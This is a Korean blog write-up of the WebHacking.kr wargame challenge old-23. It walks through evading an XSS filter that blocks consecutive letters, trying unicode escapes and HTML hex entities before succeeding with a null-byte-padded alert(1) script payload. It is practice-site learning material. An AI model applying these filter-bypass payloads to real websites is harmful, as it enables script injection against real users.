Search

WebHacking.kr Challenge old-23

목표 : XSS NULL문자 우회
스크립트를 넣으라는걸 보니 XSS 문제인가 싶다.
<script>alert(1);</script>를 바로 넣으면 no hack이라고 알려준다. 소스를 보자.
<html> <head> <title>Challenge 23</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } input { background:silver; color:black; font-size:9pt; } </style> </head> <body> no hack<form method=get action=index.php> <table border=0 cellpadding=10> <tr><td><input name=code></td><td><input type=submit></td></tr> </table> </form><br><br> Your mission is to inject &lt;script>alert(1);&lt;/script> <br><br> </body> </html>
HTML
복사
별다른 특징이 없는 html 문이다. 정말 그냥 XSS인듯하다.
BurpSuite를 개발한 portswigger에서 XSS 치트 시트를 배포하고 있다.
이것저것을 복사해 넣어봤지만 전부 막히기에 하나씩 차근차근 해보기로 했다.

소스코드 필터링 형식 파악

영문자 2개가 연속으로 들어가는 순간부터 no hack을 외친다.
+를 활용해 봤는데 음 뭔가 애매하게 안됐다.

주석 동작 확인

주석을 넣어봤는데 주석 처리가 된다?
냉큼 해봤지만 어림도 없었다.

유니코드 시도

Unicode는 한번에 앞에 u 한글자만 들어가니까 가능하지 않을까
// <script>alert(1);</script> -> unicode escapes \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003b\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
C
복사
no hack이 나오진 않았지만 동작도 하지 않았다. 이번엔 특수문자들은 변화하지 않고 넘겨보았다.
/ 가 \u랑 붙어서 무시되는 것 같아 특수문자 하나만 다시 변환
동일하게 실패했다.

HEX 시도

실패했다.
이 방식으로 표현하는 게 있더라 시도해봤다.
이게 된다!
&#x3c&#x73&#x63&#x72&#x69&#x70&#x74&#x3e&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29&#x3b&#x3c&#x2f&#x73&#x63&#x72&#x69&#x70&#x74&#x3e
C
복사
넣으면 나온다! 근데 왜 solve 안떠요..?
음 문자만 나오고 실행이 안되서 그런가보다.

NULL 사용

문자만 2개 연속안하면 되는 쪽으로 다시 보자.
NULL을 사용하면 되지 않을까, 0x00 또는 %00 등 00 값을 이용한 HEX로 시도한다.
입력란에다 넣었더니 no hack은 안뜨는데 아예 반응도 안하니 주소창에 다시 넣어보자.
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t%00%281%29%3B<%2Fs%00c%00r%00i%00p%00t>
C
복사
명령어 실행 성공

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.